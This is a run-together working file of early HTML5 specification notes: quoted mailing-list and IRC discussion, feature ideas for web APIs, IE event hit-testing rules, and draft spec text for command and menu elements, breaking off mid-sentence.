  <cat:Address>      <cat:ID/>      <cat:Street/>      <cat:CityName/>      <cat:PostalZone/>      <cat:CountrySub-Entity/>    </cat:Address>    <cat:BuyerContact>      <cat:ID/>      <cat:Name/>    </cat:BuyerContact>  </cat:BuyerParty>  <cat:SellerParty>    <cat:ID/>    <cat:PartyName>      <cat:Name/>    </cat:PartyName>    <cat:Address>      <cat:ID/>      <cat:Street/>      <cat:CityName/>      <cat:CountrySub-Entity/>    </cat:Address>  </cat:SellerParty>  <cat:DeliveryTerms>    <cat:ID/>    <cat:SpecialTerms/>  </cat:DeliveryTerms>  <cat:OrderLine>    <cat:BuyersID/>    <cat:SellersID/>    <cat:LineExtensionAmount currencyID=""/>    <cat:Quantity unitCode="">1</cat:Quantity>    <cat:Item>      <cat:ID/>      <cat:Description>Enter description here</cat:Description>      <cat:SellersItemIdentification>        <cat:ID>Enter part number here</cat:ID>      </cat:SellersItemIdentification>      <cat:BasePrice>        <cat:PriceAmount currencyID="">0.00</cat:PriceAmount>      </cat:BasePrice>    </cat:Item>  </cat:OrderLine></Order> </instance>  <h2>Tree and List Widgets</h2>   click item to go uri   doube click to submit form with value   sort list by any column   specify column headers, column sort types   specify data inline, or out of band   data can be linear or a one way tree   rows can have an icon associated with them   rows can have overlays associated with them progress meter    http://www.gazingus.org/html/menuDropdown.htmlDisclosure trianglesI think UAs should automatically highlight the accesskey (or add it in    brackets if it isn't already in the string). I am thinking of writing sometext - optional, of course, since this wouldn't apply to all UAs or all  platforms - that specifies this.I also think that there should be an accesskey value which is basically   "auto", and which picks a non-clashing access key based on the element    content.| adding HTTP authentication capabilities to HTML allow sites to:|   - remove a site's authentication state from the browser when|     activated (i.e., a "log out" interface)|   - add user data to a site's authentication state in the browser|     (i.e., "log on" interfaces)|   - display the user's current authentication state| | There are a few good reasons to do this. Many sites use cookies to| authenticate users, because HTTP authentication doesn't have any| mechanism to allow logging out (a key requirement of financial| institutions and other sensitive applications), and because the UI for| HTTP authentication can't be controlled, and doesn't offer an| "anyonymous" / "not logged in" view.| | By accommodating HTTP authentication in Web forms, it will be possible| to have styled, custom "log on" interfaces as part of pages, as well| as "log out" facilities, while still retaining the benefits of HTTP| authentication.| | Specifically, HTTP authentication is more secure than cookies (when| Digest auth is used), and is more amenable to automated processes| (agents, spiders, etc.) as well as alternate browsing devices (screen| readers, etc.).http://jogin.com/weblog/archives/2004/07/19/hierarchyYeah, <header> and <footer> or similar elements are almost certainly goingto be defined at some point, along with <content> (for the main body ofthe page), <entry> or <post> or <article> to refer to a unit of textbigger than a section but smaller than a page, <aside> to mean aside bar, <note> to mean a note... and so forth. Suggestions welcome.     We'll probably keep it to a minimum though. The idea is just to relieve   the most common pseudo-semantic uses of <div>.http://lxr.mozilla.org/seamonkey/source/dom/public/idl/base/nsIDOMWindow.idlscrollBy, etchttp://lxr.mozilla.org/seamonkey/source/dom/public/idl/base/nsIDOMWindowInternal.idlDOM level 0DH: I was arguing that you should be able to get the CSS info fordocument fragments if you had an owner document with CSS in it.So maybe:   var library = new ZipFile("data.zip");   library.onload = function() {      var sound1 = library.getAudio("sound1.wav"); // returns an Audio object      var image1 = library.getImage("image1.png"); // returns an HTMLImageElement      var doc1 = library.getXMLDocument("doc1.xml"); // returns a Document      var doc2 = library.getHTMLDocument("doc1.html"); // returns an HTMLDocument   }Also maybe supporting more than one file at a time:   var library = new ResourceLoader("data.zip");   library.add("moredata.zip");   library.onload = function() { ... }   library.onloading = function() {      reportLoadProgress(library.progress); // 0.0 .. 1.0   }...although I'm not sure how we would then deal with filename clashes.   var library = new AudioZip("sounds.zip");   library.onload = function() {      var sound1 = library["sound1.wav"];      sound.play();   }If we define onbeforeunload, then we have to say that the JSimplementation of EventListener::handleEvent checks for that event,treating the return value as the string to use for the unload warningmessage if there is a return value, and calling preventDefault ifthere isn't.> > > Schematic editors, layout editors, interactive maps, data > > > visualization for network flows, etc.> Searching the web for the above keywords should find you a lot more. - Denis BohmJens Meiert:- For non-native English speakers, it's sometimes difficult to understandthe difference between <cite /> and <quote />, since citations often seem tobe quoted, too (this is a presentational aspect, I know).- Is it right that the <dfn /> element [1] /must/ be used only in thecontext of the definition of the enclosed term (as the example suggests)?(If so, wouldn't it be useful to add this note, too?)http://secunia.com/advisories/9711/In particular number 7. - Chris Hofmann> [1] http://www.stopdesign.com/log/2004/08/25/microsoft-advances.html> [2] http://www.stopdesign.com/articles/throwing_tables/In other areas, however, the replacement is not a match in terms of functionality. Like it or not, but showModalDialog is a better way to provide feature-rich user feedback windows than window.confirm (which Firefox supports, even though there is NO PUBLIC STANDARD for it). With showModalDialog, I can pop a window offering "Yes," "No," or "Cancel" buttons that requires a response before proceeding. With window.confirm, I have to craft all my questions as something to which "OK" or "Cancel" makes sense, never mind asking for three, four, or five state responses.- http://news.zdnet.com/2100-9588-5438955.html ( John Carroll )> http://channel9.msdn.com/wiki/default.aspx/Channel9.InternetExplorerFeatureRequests>    Alternate way of caching content>    Avalon Integration>    getData/setData improvement (clipboardData)>    Input type=file improvements>    HTML editing: Editing Tables>    Input type=file improvements>    .NET framework>    > http://channel9.msdn.com/wiki/default.aspx/Channel9.InternetExplorerOutrageous>     Some decent controls - lachlan.hunt@lachy.id.auhttp://lists.w3.org/Archives/Member/w3c-html-wg/2004JulSep/att-0135/role072704a.html> I've encountered two situations where setting or retrieving the caret> position would be useful.  The first is a situation where I'd like to> apply an input mask to a text box.  For example, I'd like the ability to> create a text box where the date delimiters (dashes or slashes) appear  > automatically in a text box upon entering the field, and when the user  > types in the field, it fills into the appropriate spaces in the input    > box and sets the text selection to the next appropriate position, all    > while allowing the user to reposition the cursor within the text box     > with a keyboard or mouse without being able to edit or delete the> delimiters (dashes or slashes).  This would be very similar to input> mask features in certain native apps that I've used. - Greg Kilwein> The second situation is an application that would like to highlight text  > in a text box or textarea for the purposes of a spell check, thesaurus, > or search-and-replace operation. - Greg KilweinHTMLImageElement.click(x, y); (for Csaba Gabor)or clickPoint, if click() can't be done in IEcan this be emulated in IE by posting a synthetic moue click eventwith those X and Y coords?<menulabel>, or rather menus in general, need an icon attribute and ahide attribute, like the <command> element.What about safe clipboard access.As discussed before by others as well:The user initiates a paste action as recognized by the UISystem the user is working in.E.g pressing Ctrl-V or selecting paste from a context menu.An event is fired and a Listener can now access the pasted data as part of the event object.The same for cut and copy. The Listner can set data as part of the event object.This is safe and will not allow any script to mess with the clipboard without the user specifically asking for itby initiating a cut/copy/paste action. -  Jan-Klaas KollhofNeed to say that NodeList's items are enumerable, so that for (var x in myNodeList) { } works. thank Dethe Elzarel="" on submit buttons?what does <label> _mean_? how about an empty one, one which containsmore than one control, no controls?data: URIs and same-origin policy when navigated to from http:? - Hallvord Reiar Michaelsen Steenneed conformance section for editors, which says stuff like "can't beconforming if editor has an "italics" button"people want multiline tooltips with explicit line breaksattributes of type ID that have no value beyond the empty string donot give the element an ID of "".ability for a web app to save a file to the local disk:   var file = window.openFile(); // throws up UI   file.read();   var file = window.saveAsFile(); // throws up UI   file.write();...or something? Or use data: URIs and right-click-to-save?http://lxr.mozilla.org/mozilla/source/dom/public/idl/html/nsIDOMNSHTMLDocument.idl  <p><em>This section is non-normative.</em></p>how to handle 404s and 500s and other non-OK responses when it comesto <script>, <link>, <style>, etc.normative classes:  -example  -note  -warning  -issue  hCard, hCalendar  wiki based registration, first come first served   * class:   * applies to elements:   * processing model:   * status:<Hixie> vlad: you should define what the UA should do with out-of-order aDATs<pav> its an error<pav> pretty sure we say that somewhere<Hixie> yes i know it's an error<Hixie> but that doesn't say what the UA should do<pav> error == image is invalid<vlad> yep<vlad> either broken image icon<vlad> or display first frame (fall back to normal PNG)<vlad> up to the UA<Hixie> right<Hixie> you should say which one<pav> its up to the UA<Hixie> why?<vlad> "SHOULD display the first frame, but MAY display broken image icon if that's not convenient", in rfc parlance<vlad> because it's not useful to specify that, IMO<Hixie> up to the UA means one UA will implement something, it'll become a popular UA, then all the others will have to copy it.<vlad> how a UA wants to handle image errors is up to the UA<pav> we're designing an image format, not the html image tag<pav> the html spec should say what to do with itshould we say that elements in HTML must be lowercase? (but with errorhandling for uppercase tags, obviously)? If so, update examples.<title> is for out of context headers<h1> is for in-context headersThe parsing rules of HTMLmedia="" is case-insensitivecase-sensitivity of other attributes, and what it meansempty title attribute is equivalent to missing attribute for purposesof alternate style sheet processing<p>s that contain <ul><ol><table><dl><blockquote>? (did we get all those?)> I'd like search engines to be able to show me the title of a page in the> same consistent position in a search result, and the name of the site> (if available) in the same consistent position in a search result, and> the name of the author (if available) in the same consistent position in> a search result.>  > For that to happen, it would help slightly if the HTML specification> stopped SHOULD-ing the current <title> behavior. It would help more if> the HTML specification contained clear, straightforward markup for> author and site name (and encouraged UAs to present this information   > when the document is taken out of context).   <title site="" publisher="" author="">Page Title</title>   <title>Page Title - <site></site> - <author></author> (<publisher></publisher>)</title>   <title>Page Title</title>   <link rel="top" title="" href="">   <link rel="publisher" title="" href="">   <link rel="author" title="" href=""> h1 is styled appropriately, h2 to h6 are styled according to legacy.[onclick] should make element focusable; enter should send onclickdefine implied <html>, <head>, <body>, <p>, </p>, etc.http://www.aujsproduction.com/samples/wishlist/revampedselector.aspinteractive elements can't be nested (as in <a><button><input></button></a>)need a summary of all the content models and how they interact:   a | interactive strictly inline-level element   | where inline-level content is expected | strictly inline-level content  | interactive elements must not be nested   i | strictly inline-level element               | where inline-level content is expected | strictly inline-level content  |  em | strictly inline-level element               | where inline-level content is expected | inline-level content           |   p | block-level element, structured inline-     | where block-level content is expected, | inline-level content           | must not be nested     | level element                               | where inline-level content is expected |                                |...etcneed a summary of the differences between the HTML and XML serialisations.e.g. how <p><ul> is allowed in one but not the otherGoogle suggest: oninput -> submit a form whose only contents is thedrop down list which you refresh (<datalist>).Inline editing of <select multiple=""> boxesimage buttons shouldn't be used unless you want the coordinateneed for the spec to say something about sending proprietary data overthe network, e.j. in XMLHttpRequest and other data streams. Is it ok,if the page is doing the translation?built-in spell-checking in <input type="text">, <textarea>author-driven highlighting of individual words in text fieldssupport access Array element via () instead of [] (IEism)- https://bugzilla.mozilla.org/show_bug.cgi?id=289876atom can do this:       <author>         <name>Mark Pilgrim</name>         <uri>http://example.org/</uri>         <email>f8dy@example.com</email>       </author>       <contributor>         <name>Sam Ruby</name>         <uri>http://intertwingly.net/blog/</uri>       </contributor>how do we do this in HTML5? (what's the use case?)how to interpret an HTML5 document for syndicationhttp://hixie.ch/specs/hsf/hsfsection "rendering HTML" has to cope with: <q> element's quotes <section> <h1> default margins and paddings for <ul>, <form>, etc.  <h4>The <code>q</code> element</h4>  <p class="big-issue">Need to deal with the quotemark problem without  adding verbose markup, breaking existing documents, or adding  redundant elements.</p><Hixie> here's how <object> works (assuming you don't support ActiveX)<Hixie> 1. look at the data="" attribute. If it's not there, go to the step i'll label "bail" below.<Hixie> 2. fetch the file indicated by the data="" attribute.<Hixie> 3. while waiting for the MIME type, treat <object> as a replaced element of transparent nothingness, intrinsic size zero.<hyatt> (so we would honor width/height)<hyatt> (because it's replaced)<Hixie> (yes)<Hixie> 4. if the MIME type is a long time coming (e.g. DNS is being slow) then jump to the "bail" step below until you have the MIME type, then jump back to step 5.<Hixie> 5. Once you have the MIME type, examine it. If it's a plugin type, jump to the plugin step below. If it's an image, jump to the image step below. If it's a document type (HTML, XML, etc) jump to the iframe step below. Otherwise, you don't recognise it, and jump to the "bail" step.<Hixie> plugin step: collect all the <param> element children in the <object>. instantiate the plugin and pass the params to it.<Hixie> image step: render the <object> as if it was an <img><Hixie> document step: render the <object> as if it was an <iframe><Hixie> bail step: render the <object> as if it was a <span> - if there is no authoratative MIME type, then use the type="" attribute. - if type="" is something you know you don't support, you MAY not download it - if type="" is dynamically changed, do nothing - if data="" is dynamically changed, redo loop<hyatt> apparently your url can come from <param><hyatt> not just the data attribute<hyatt> our code looks for params with "src", "movie", "code" and "url"<hyatt> and also tries to find the type on a param<Hixie> oh that's you trying to have hacky activex support<Hixie> opera does that too<hyatt> yeah we support activex versions of plugins that are common<hyatt> like flash and quicktime and realaudio<Hixie> that would be a step 1b. if no data attribute, then look for a <param> to get you a URL instead.<Hixie> and if you find one, carry on as if that was your data="".should have some text talking about the fact that it's ok if your pagepasses through a period of non-conformance while script is running,but that in between scripts it should be compliant.how to handle 205 reset content responses and other HTTP codes inresponse to link clicks, link clicks with target="" attributes,window.open(), the user typing a URI in the URL bar, etc.XXX Native code for fast sorting of many data?http://www.microsoft.com/mind/1097/directanim.aspevents: onmousewheel<hyatt> with a wheelDelta field on the WheelEvent (whcih comes off UIEvent)<hyatt> but in OS X you can wheel horizontally <hyatt> so we actually added wheelX, wheelY, and wheelZ<hyatt> with wheelDelta just mapping to wheelY for WinIE compat<Hixie_> oh i don't mind wheelZ, maybe we can even say ctrl+wheel should map to it on some platforms (windows)<hyatt> but if you hold down Shift+mouse wheel in mac apps on os x you'll wheel horizontallywheelDelta is multiples of 120http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/wheeldelta.aspevents:http://damowmow.com/temp/safari/WebCore-315/khtml/ecma/kjs_events.cppNeed to resolve whether <a rel=""> should affect an out-of-band UI (orwhether it should just be a may), seehttps://bugs.opera.com/show_bug.cgi?id=169791should have appendix listing what was already implemented- http://www.xml.com/pub/a/2005/04/27/deviant.html| Hixie and Steven shared an item: in both XHTML2 and HTML5, it will| be possible to have a list child of a paragraph. That's good, from a| structural point of view. But that's bad, from a user's point of| view. Imagine you have a paragraph, with red background color. And| you have an unordered list in your clipboard. You place the caret at| the end of the paragraph and paste your list. Where does it end up?| In the paragraph or after it? Red background or not? I really fear| that, once again, document model authors are completely neglecting| the authoring side. - http://www.glazman.org/weblog/dotclear/index.php?2005/05/27/1055-adam-2need to define how to process MIME types in <style> and <script> and so forth.http://www.paulgraham.com/popular.html  <p>In the ECMAScript DOM binding, objects implementing this interface  can also be dereferenced using square bracket notation (e.g.  <code>foo[1]</code> or <code>foo["bar"]</code>). Dereferencing with  an integer index is equivalent to invoking the <code>item()</code>  method with that index, and dereferencing with a string index is  equivalent to invoking the <code>namedItem()</code> method with that  index.</p>"you have mail": bubble notification; flash taskbar button, => how do you stop advertisers?events should bubble from documents to Windowsay something about events fired on <body> -> document -> window, likeonload? onpopstate is defined as body->html->doc->window; as is thelocal storage event. What about the old ones, how do they work? load,error, scroll, resize, etc?If we assuming that bubbling events bubble from document to window,then it seems reasonable for scroll events that bubble to be fired atthe document if the window is resized, and scroll events that don'tbubble to be fired at elements if they are scrolled. window.onscrolland document.onscroll should both work.[HIT TESTING TRANSPARENCY]Definition: IE considers a point of an element "transparent" if anyone of the following are true: 1. All of the following are true:    a: The computed value of 'background-image' is 'none', and    b: The computed value of 'background-color' is 'transparent', and    c: The point is over a pixel of an AlphaImageLoader filter image       that has an alpha value of 0 (fully transparent), or the       element does not have an AlphaImageLoader filter applied; 2. The point is outside the element's CSS clip rectangle; 3. The computed value of 'visibility' is 'hidden'; 4. The element is a transparent IFRAME (in IE, an IFRAME with the    custom attribute "allowtransparency"); 5. The element is an OBJECT with the custom attribute "wmode" set to     "transparent" and the point in question is fully transparent.Given those definitions, when a mouse event occurs, IE finds thetarget element as follows:   A. Take the topmost node that is under the point where the pointer      was for the event. For CSS boxes, borders, padding areas and      content areas are considered part of the node, margins and      leading generated by the 'line-height' property are not.   B. If there is no node at that point, no event is fired. STOP.   C. If the node is a text node, then the event is fired at the text      node's nearest ancestor element node. STOP.   D. If the node is not an element, assign the node's nearest      ancestor element node to a variable X. Otherwise, assign the      element node itself to X.   E. If the element X is the BODY element or the HTML element and its      document is not the document of a transparent IFRAME, goto step      H. Similarly, if the element X is a TABLE element, or is an IMG      element, goto step H.   F. If the point where the pointer was is, per the above definition,      a point that on the element X is transparent, then ignore that      element and assign the element that is below that element in the      stacking order to X. If there is no element below X, or if the      point on X is not transparent and so the previous condition      doesn't apply, then leave X as is and go straight to step H.   G. Goto step E.   H. If the element X is now a BODY or TABLE element, but the element      assigned to X in step D was some other element, assign the      element originally assigned in step D back to X.   I. The event goes to X. STOPmousedown's default action is focus, so cancelling mousedown stops focus transference.e.g. on http://www.mozilla.org/editor/midasdemo/xref all the _ERR exceptions to DOM3CORE<select><option><hr> supportraising an exception when the wrong number of arguments is passed -is that a language-specific thing, or what?why |new XMLHttpRequest()| returns an object that .toStrings to[object XMLHttpRequest], same with new TCPConnection(); what if aconstructor is called without using "new" in JS?reload: fire an event when "reload" is pressed so that the page canreload its data instead of the whole page. cancel the event cancelsthe HTTP reload. Abuse prevention required, though.load event: fire on body, document, window? or just let it bubble?http://msdn.microsoft.com/workshop/author/dhtml/reference/methods/elementfrompoint.asphttp://msdn.microsoft.com/workshop/author/dhtml/reference/methods/showmodaldialog.asprefs for TCP/IP (rfc793) and IPv6http://www.joelonsoftware.com/items/2004/06/17.htmlhttp://www.joelonsoftware.com/items/2004/06/18.html<neutralise> block that kills scripting or anything dangerous?XXXX need explanation of when to use undo/redo, and when to use back/forwardXXX "alternate style sheet" should be "alternative style sheet"  <h5>Using the <code>a</code> element with the <code>command</code> attribute</h5>  <p>If an <code>a</code> element has a <code  title="command-attribute">command</code> attribute, then:</p>  <p>If the element's <code>title</code> attribute is absent, then  when the UA attempts to display the element's hint, it must instead  use the specified command's Hint.</p>  <p>Even if the element's <code>href</code> attribute is absent, the  element must still match the CSS <code>:link</code> or  <code>:visited</code> pseudo-classes. It must match the  <code>:visited</code> pseudo-class if the command's action is to  follow a link that has already been visited by the user, and must  match the <code>:link</code> pseudo-class otherwise.</p>  <p>If a <code>DOMActivate</code> event is dispatched on the element  and is not canceled, and the event has no other default action, and  the command's Disabled State is false (enabled), then the command's  Action must be triggered as the default action.</p>  <p class="note">The <code>DOMActivate</code> event is fired as the  default action of the <code>click</code> event.</p>  <p>If the command's Disabled State is true (disabled) then the  element must be disabled and must therefore match the  <code>:disabled</code> pseudo-class. UAs should style disabled links  in such a way as to clearly convey their disabled state.</p>  <p>The Label, Icon, Checked State and Type facets of the command are  ignored by the <code>a</code> element (except for <a  href="#pseudosAndCommands">matching CSS pseudo-classes</a>).</p>  <h5>Using the <code>button</code> element with the <code>command</code> attribute</h5>  <p>If a <code>button</code> element has a <code  title="command-attribute">command</code> attribute, then:</p>  <p>If the element's <code>title</code> attribute is absent, then  when the UA attempts to display the element's hint, it must instead  use the specified command's Hint.</p>  <p>If a <code>DOMActivate</code> event is dispatched on the element  and is not canceled, and the event has no other default action, and  the command's Disabled State is false (enabled), and the button's  <code>disabled</code> attribute is absent, then the command's Action  must be triggered as the default action.</p>  <p class="note">The <code>DOMActivate</code> event is fired as the  default action of the <code>click</code> event.</p>  <p>If the command's Disabled State is true (disabled) then the  element must be disabled. The <code>button</code> element must also  be disabled if the element's <code>disabled</code> attribute is  set.</p>   <p>The Label, Icon, Checked State and Type facets of the command are  ignored by the <code>button</code> element (except for <a  href="#pseudosAndCommands">matching CSS pseudo-classes</a>).</p>  <h5>Using the <code>input</code> element with the <code>command</code> attribute</h5>  <p>If an <code>input</code> element has no <code>type</code>  attribute and no <code>name</code> attribute, and it has a <code  title="command-attribute">command</code> attribute, then:</p>  <p>If the command is of Type "command" then the element must  generally be styled and behave as if it was of type  <code>button</code>; if the Type of the command is "radio" then the  element must generally be styled and behave as if it was of type  <code>radio</code>; and if the Type of the command is "checkbox"  then the element must generally be styled and behave as if it was of  type <code>checkbox</code>.</p>  <p>If the command is of Type "command" and the element's  <code>value</code> attribute is absent, then when the UA attempts to  display the element's caption, it must instead use the specified  command's Label. The Label facet is ignored if the command is not of  Type "command".</p>  <p>The UA may use the Icon facet of the command to render an  icon in the control, if appropriate for the UI used.</p>  <p>If the element's <code>title</code> attribute is absent, then  when the UA attempts to display the element's hint, it must instead  use the specified command's Hint.</p>  <p>If a <code>DOMActivate</code> event is dispatched on the element  and is not canceled, and the event has no other default action, and  the command's Disabled State is false (enabled), and the element's  <code>disabled</code> attribute is absent, then the command's Action  must be triggered as the default action.</p>  <p class="note">The <code>DOMActivate</code> event is fired as the  default action of the <code>click</code> event.</p>  <p>If the command's Disabled State is true (disabled) then the  element must be disabled. The <code>input</code> element must also  be disabled if the element's <code>disabled</code> attribute is  set.</p>  <p>If the command's Checked State is true (checked) then the element  must be checked. The <code>input</code> element must also be checked  if the element's <code>checked</code> attribute is set.</p>  <p>This element should not be directly displayed. In CSS-aware user  agents, this should be achieved by including the following rules, or  their equivalent, in the UA's user agent style sheet:</p>  <pre>@namespace xh url(http://www.w3.org/1999/xhtml);xh|command { display: none; }</pre>  <h5 id="command-with-command">Using the <code>command</code> element with the <code>command</code> attribute</h5>  <p>If a <code>command</code> element has a <code  title="command-attribute">command</code> attribute, then:</p>  <p>If the element's <code>label</code> attribute is absent, then  when the UA attempts to display the element's caption, it must instead  use the specified command's Label.</p>  <p>If the element's <code>icon</code> attribute is absent, then  when the UA attempts to display the element's icon, it must instead  use the specified command's Icon.</p>  <p>If the element's <code>title</code> attribute is absent, then  when the UA attempts to display the element's hint, it must instead  use the specified command's Hint.</p>  <p>If a <code>click</code> event is dispatched on the element and is  not canceled, and the command's Disabled State is false (enabled),  and the element's own <code>disabled</code> attribute is absent,  then the command's Action must be triggered as the default  action.</p>  <p>If the command's Disabled State is true (disabled) then the  element must be disabled. The <code>command</code> element must also  be disabled if the element's <code>disabled</code> attribute is  set.</p>  <p>If the command's Checked State is true (checked) then the  element must be checked. The <code>command</code> element must also  be checked if the element's <code>checked</code> attribute is  set.</p>  <p>When a <code title="command-element">command</code> element has a  <code title="command-attribute">command</code> attribute, any <code  title="attr-command-type">type</code> and <code  title="attr-command-radiogroup">radiogroup</code> attribute is  ignored.</p>  <h4>The 'icon' property</h4>  <p>UAs should use the command's Icon as the default generic icon  provided by the user agent when the 'icon' property computes to  'auto' on an element that either defines a command or refers to one  using the <code title="command-attribute">command</code>  attribute.</p>  <h4 id="pseudosAndCommands">CSS pseudo-classes and commands</h4>  <p>When an element uses the <code  title="command-attribute">command</code> attribute, any UI  pseudo-classes from the following list that apply to the element  defining the command also apply to the elements that refer to that  command.</p>  <dl>   <dt>:enabled, :disabled</dt>   <dd>Matches commands whose Disabled State facet is False and True   respectively.</dd>   <dt>:checked</dt>   <dd>Matches commands whose Type facet is either "radio" or   "checkbox", and whose Checked State facet is true.</dd>  </dl>  <p><code>menu</code> elements with explicit <code>label</code>  attributes, and <code>menu</code> elements following  <code>menulabel</code> elements, should be hidden. In CSS-aware UAs,  this effect should be achieved by including the following rules, or  their equivalent, in the UA's user agent style sheet:</p>  <pre>@namespace xh url(http://www.w3.org/1999/xhtml);xh|menu[label], xh|menulabel + xh|menu { display: none; }</pre>  <p>All other <code>menu</code> elements should be rendered  identically to <code>ul</code> elements. In CSS-aware UAs, this  effect may be achieved by including rules similar to the following  in the UA's user agent style sheet:</p>  <pre>@namespace xh url(http://www.w3.org/1999/xhtml);xh|menu { display: block; margin: 0 0 0 40px; list-style: disc; }</pre>  <h5>Displaying menus</h5>  <p>When a <code>menu</code> element is activated, the associated  menu should be constructed and shown. (For details on how a  <code>menu</code> element can be activated, see the sections on  <span>menu links</span> and <span>menu bars</span>.)</p>  <p>The styles applied to each element in the <code>menu</code>  element, as well as the element itself, may be applied when  constructing a menu. UAs are recommended to not apply styling to  context menus and menus for application menu bars, and to only use  styles for in-page menus.</p>  <p>If user agents support styling of menus, they should only support  the '<code>background</code>', '<code>color</code>',  '<code>border</code>', '<code>padding</code>' and  '<code>font</code>' properties on menus and menu items. (This list  might be incomplete; in general, properties that merely affect the  appearance of the element should work, but properties that affect  the layout should not.)</p>  <p>As the user interacts with a menu, the elements from which the  menu was created should have appropriate pseudo-classes (:hover,  :focus, :active) applied.</p>  <p>The menu items must only consider the computed styles of the  elements from which they were derived, not other elements.</p>  <div class="example">   <p>For example, take this menu:</p>   <pre>AMPERSANDlt;menuAMPERSANDgt;AMPERSANDlt;liAMPERSANDgt;AMPERSANDlt;command label="a"/AMPERSANDgt;AMPERSANDlt;/liAMPERSANDgt;AMPERSANDlt;menuAMPERSANDgt;</pre>   <p>The menu has one menu item, labelled "a".</p>   <p>Styles applied to the <code>li</code> element in this menu would   have no effect on the rendered menu, except in so far as styles   inherit from that element to the <code>command</code> element.</p>   <p>Styles applied to the <code>command</code> element could affect   the menu. While the user is hovering over the menu item, the   <code>:hover</code> pseudo-class matches the <code>command</code>   element and any appropriate newly matching rules could be   applied.</p>  </div>  <p>When activated from a <span title="menu links">menu link</span>,  a menu must be placed in an Appropriate Place. Specifically, if the  <code>a</code> element is displayed as a vertically-stacked box (as  is typically seen for elements with '<code>display: block</code>',  '<code>list-item</code>', or '<code>table</code>'), then the menu  should appear vertically below the element, anchored so that one of  its top corners coincides with a bottom corner of the box so that  the menu and the box each have a horizontal sides in common (or a  bottom corner of the menu coincides with a top corner of the box, if  there isn't enough room for the menu to drop down); otherwise, if  the element is displayed as a horizontally stacked box  ('<code>display: inline</code>', '<code>table-cell</code>', etc),  the menu should appear to the <em>side</em> of the box in an  analogous way. If the element is on the right of the page, the menu  should drop to the left, and vice versa.</p>  <p>UAs should implement the drop-down behaviour in more  platform-appropriate ways if the platform conventions differ from  the behaviour described above.</p>  <h4>The <dfn title="command-attribute"><code>command</code></dfn>  attribute</h4>  <p>Any element that can define a command can also, instead, have a  <code>command</code> attribute that specifies the ID of a command  that the element should defer to. In this case the element does not  define a command, but, in the absence of attributes to the contrary,  reflects the state of the element specified.</p>  <p>If the <code>command</code> attribute specifies an ID that is not  the ID of an element that defines a command, then the  <code>command</code> DOM attribute is set to the null value, and the  element acts as if it was linked to an element that defined a  command with no Label, no Hint, no Icon, no Action, that was not  Hidden, not Disabled, not Checked, and that was of Type  "command".</p>replaceable DOM properties: http://lxr.mozilla.org/mozilla/source/dom/src/base/nsDOMClassInfo.cpp#5928<       brendan>|Hixie: so yeah, lxr for JSRESOLVE_QUALIFIEDscreen object:screen contains top left width height pixelDepth colorDepth availWidth availHeight availLeft availTop  <p>The most direct way to represent a command is by using the <code  title="command-element">command</code> element. A <code  title="command-element">command</code> element defines a command if  it does not have a <code title="command-attribute">command</code>  attribute.</p>  <div class="example">   <pre>... AMPERSANDlt;command id="c_stop" label="Emergency Stop" onclick="dostop()"/AMPERSANDgt; AMPERSANDlt;command id="c_go" label="Go" onclick="dogo()"/AMPERSANDgt; AMPERSANDlt;command id="c_lamp" label="Headlamps" onclick="dof2()" disabled="disabled"/AMPERSANDgt;...</pre></div>  <p>The <code>command</code> element, in addition to the core and  internationalisation attributes, may have the following  attributes specified:</p>  <dl>   <!-+- yes i know that some of these are core attributes. If you can   give me a better introductory paragraph, I'm all for it. -+->   <dt><dfn title="attr-command-type"><code>type</code></dfn></dt>   <dd>The command's Type. If present, this attribute must either have   the value <code>radio</code>, in which case the command is of Type   "radio", or the value <code>checkbox</code>, in which case the   command is (amazingly) of Type "checkbox". Any other value, or the   absence of the attribute altogether, means that the command is of   Type "command".</dd>   <dt><dfn title="attr-command-id"><code>id</code></dfn></dt>   <dd>The command's ID. If this attribute is not specified, then the   command is anonymous.</dd>   <dt><dfn title="attr-command-label"><code>label</code></dfn></dt>   <dd>The command's Label. If the attribute is not specified, the   command's Label is given by the element's <code>textContent</code>   DOM attribute.</dd>   <dt><dfn title="attr-command-title"><code>title</code></dfn></dt>   <dd>The command's Hint. If the attribute is not specified, the   command's Hint is the empty string.</dd>   <dt><dfn title="attr-command-icon"><code>icon</code></dfn></dt>   <dd>A URI to the command's Icon. If the attribute is not specified,   then the command has no Icon.</dd>   <dt><dfn title="attr-command-onclick"><code>onclick</code></dfn></dt>   <dd>An event handler attribute that listens for <code>click</code>   events.</dd>   <dt><dfn title="attr-command-hide"><code>hide</code></dfn></dt>   <dd>The command's Hidden State. If the attribute is present, the   command is hidden (and also disabled, regardless of the value of   the <code>disabled</code> attribute), otherwise, the command is   shown. If the attribute is present, it should have the value   "<code>hide</code>". <!-+-The name of the attribute reflects the   fact that Hidden commands in menus are hidden.-+-></dd>   <dt><dfn title="attr-command-disabled"><code>disabled</code></dfn></dt>   <dd>The command's Disabled State. If the attribute is present, the   command is disabled, otherwise, the command is enabled. If the   attribute is present, it should have the value   "<code>disabled</code>".</dd>   <dt><dfn title="attr-command-checked"><code>checked</code></dfn></dt>   <dd>The command's Checked State. If the attribute is present, the   command is checked, otherwise, the command is not. If the attribute   is present, it should have the value "<code>checked</code>".</dd>   <dt><dfn title="attr-command-radiogroup"><code>radiogroup</code></dfn></dt>   <dd>An attribute indicating the name of the group of commands that   will be toggled when the command itself is toggled. (Described <a   href="#radiocommand">below</a>.)</dd>   <dt><dfn title="attr-command-default"><code>default</code></dfn></dt>   <dd>An attribute indicating whether the command is the default   command. If the attribute is present, the command is the default   command, otherwise it is not. If it is set, it should have the   value <code>default</code>. Used by context menus to indicate what   the default option would be. The :default pseudo-class matches   <code>command</code> elements with this attribute.</dd>  </dl>  <p>In addition, <code title="command-element">command</code>  elements may also have a <code  title="command-attribute">command</code> attribute, as <a  href="#command-with-command">described below</a>.</p>  <p>The Type, ID, Label, Hint, Icon, Hidden State, Disabled State,  and Checked State of the command defined by a <code  title="command-element">command</code> element are as described  above. The Action of a <code title="command-element">command</code>  element is that a <code>{"http://www.w3.org/2001/xml-events",  "click"}</code> event is fired on the element.</p>  <p>If the Type of the command is "checkbox", when a  <code>click</code> event is dispatched on the element, user agents  must toggle the value of the <code>checked</code> attribute before  the event is dispatched in the document. (If the attribute is  absent, then it is set to the value <code>checked</code>, and if the  attribute is present, it is removed.) If the default action of the  event is canceled, the value of the attribute must be changed back  to the value it had before the event was dispatched.</p>  <p id="radiocommand">If the Type of the command is "radio", when a  <code>click</code> event is dispatched on the element, user agents  must set the value of the <code>checked</code> attribute on the  element to <code>checked</code>, and remove the 